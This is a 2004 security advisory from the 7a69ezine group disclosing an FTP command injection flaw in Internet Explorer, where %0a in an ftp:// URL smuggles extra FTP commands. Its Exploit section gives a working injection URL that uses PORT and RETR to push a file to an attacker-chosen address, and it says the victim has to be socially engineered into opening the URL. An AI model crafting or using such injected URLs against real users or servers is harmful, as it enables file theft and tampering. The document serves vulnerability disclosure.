7a69Adv#15 - Internet Explorer FTP command injection

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       7a69ezine Advisories 7a69Adv#15
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  http://www.7a69ezine.org [05/12/2004]
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Title: Internet Explorer FTP command injection

Author: Albert Puigsech Galicia - <ripe_at_7a69ezine.org>

Software: Microsoft Internet Explorer

Versions: >= 6.0.2800.1106

Remote: yes

Exploit: yes

Severity: Low-Medium

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I. Introduction.

 Internet Explorer is a well-known HTTP browser, and like others it can use
more protocols, for example FTP. The security historial of this navigator is
really cool and we are glad for the excelent work done by Microsoft. We love
your (in)security features.

II. Description.

 In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the
navigator connects to the server and executes the following commands (and
other that have omitted because they are not important for this stuff).

   USER ftpuser
   PASS ftppass
   CWD /directory/

 The security problem resides in which is posible to inject FTP commands on
the URL adding at the code %0a followed by your injected commands. If you do
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute
those commands.

   USER ftpuser
   PASS ftppass
   CWD /directory
   somecommand

 The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.

III. Exploit

 You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The explotation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is to
download files. Its posible to do that using this URL;

    ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

 Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.

IV. Patch

 Internet Explorer sucks a lot, just turn to Firefox World.

V. Timeline

01/12/2004 - Bug discovered on konqueror browser
03/12/2004 - Tried in IE. Also afected!
05/12/2004 - Advisor released

VI. Extra data

 You can find more 7a69ezine advisories on this following link:

    http://www.7a69ezine.org/avisos/propios [spanish info]